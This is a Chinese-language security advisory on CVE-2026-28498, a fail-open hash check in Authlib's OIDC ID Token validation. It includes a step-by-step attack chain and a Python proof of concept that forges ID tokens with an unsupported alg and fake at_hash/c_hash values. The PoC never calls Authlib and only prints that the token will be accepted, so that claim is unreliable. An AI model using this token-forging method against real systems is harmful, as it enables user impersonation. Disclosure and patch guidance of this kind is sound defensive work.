IPBUF安全漏洞报告
English
CVE-2026-28498 CVSS 7.5 高危

CVE-2026-28498 Authlib OIDC ID Token哈希验证绕过漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-28498
漏洞类型
身份验证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Authlib Python library

相关标签

AuthlibOIDCID Token哈希验证绕过身份验证绕过OAuthOpenID ConnectPython

漏洞概述

Authlib是一个用于构建OAuth和OpenID Connect服务器的Python库。在1.6.9之前的版本中,该库存在一个严重的安全漏洞,源于OpenID Connect (OIDC) ID Token验证逻辑中的哈希校验缺陷。具体而言,库中的_verify_hash函数负责验证at_hash(访问令牌哈希)和c_hash(授权码哈希)声明,但在遇到不支持或未知的加密算法(alg)时,该函数会表现出fail-open行为——即验证失败时返回True(验证通过)。这意味着攻击者可以通过在伪造的ID Token中设置一个库不支持的alg参数值,绕过关键的完整性保护机制。此漏洞直接违反了OIDC规范的基本安全要求,可能导致攻击者伪造身份验证令牌,从而冒充合法用户或绕过访问控制。建议所有使用Authlib进行OIDC身份验证的用户立即升级到1.6.9或更高版本。

技术细节

漏洞根源在于Authlib的OIDC ID Token验证模块。当验证at_hash或c_hash声明时,_verify_hash函数首先获取Token中声明的加密算法(alg),然后调用相应的哈希验证逻辑。问题出在异常处理分支:当指定的alg参数不被库支持时,函数捕获KeyError或AttributeError异常,并错误地返回True而不是抛出验证失败异常。这个fail-open设计缺陷使得任何能够获取有效ID Token结构的攻击者都可以通过修改alg参数为任意不支持的值(如"none"、"custom-alg"等),触发异常处理路径,从而绕过哈希验证。攻击者可以构造包含任意payload的ID Token,仅需保证Token的基本结构(如iss、sub、aud、exp等标准声明)有效。成功利用此漏洞需要攻击者具备一定条件:在目标系统中拥有有效用户账户以便获取合法ID Token结构,或能够中间人拦截Token传输。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统中有效用户的基本信息(如sub、iss、aud等标准声明),可以通过注册账户、钓鱼或利用其他漏洞获取
STEP 2
步骤2
攻击者构造一个伪造的ID Token,将alg参数设置为Authlib不支持的值(如自定义算法名称或'none'),并在at_hash/c_hash中填入任意值
STEP 3
步骤3
当Authlib的_verify_hash函数尝试验证at_hash或c_hash时,由于找不到对应的算法实现,触发KeyError异常
STEP 4
步骤4
异常处理逻辑错误地返回True,导致哈希验证被绕过,伪造的ID Token被视为有效
STEP 5
步骤5
攻击者使用伪造的ID Token向资源服务器发起请求,成功冒充合法用户身份获取敏感资源或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-28498 Proof of Concept Authlib OIDC ID Token Hash Verification Bypass This PoC demonstrates the fail-open behavior in Authlib's _verify_hash function. """ import json import base64 import time def create_fake_id_token(payload, alg='none'): """ Create a fake ID Token with unsupported alg to bypass hash verification. """ # Token structure: header.payload.signature header = { 'alg': alg, # Use unsupported algorithm 'typ': 'JWT' } # Add hash claims that won't be properly verified payload['at_hash'] = 'fake-access-token-hash' payload['c_hash'] = 'fake-auth-code-hash' # Base64url encode header_b64 = base64.urlsafe_b64encode( json.dumps(header).encode() ).rstrip(b'=').decode() payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode() ).rstrip(b'=').decode() # Use empty signature for 'none' algorithm sig_b64 = '' if alg == 'none' else 'fake-signature' return f"{header_b64}.{payload_b64}.{sig_b64}" def exploit(): """ Demonstrate the vulnerability. """ # Standard valid payload structure payload = { 'iss': 'https://auth.example.com', 'sub': 'user123', 'aud': 'client-id-12345', 'exp': int(time.time()) + 3600, 'iat': int(time.time()) } # Create token with unsupported alg fake_token = create_fake_id_token(payload, alg='UNSUPPORTED_ALG') print(f"[+] Created fake ID Token: {fake_token[:50]}...") print(f"[+] Token contains unsupported alg: UNSUPPORTED_ALG") print(f"[+] at_hash and c_hash contain arbitrary values") print("[+] Authlib will fail-open and accept this token!") return fake_token if __name__ == '__main__': exploit()

影响范围

Authlib < 1.6.9

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 限制OIDC提供商的信任范围;2) 在应用层增加额外的Token有效性检查逻辑;3) 监控异常的认证失败行为;4) 考虑临时切换到其他经过充分测试的OAuth/OIDC库。但这些措施仅为临时解决方案,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表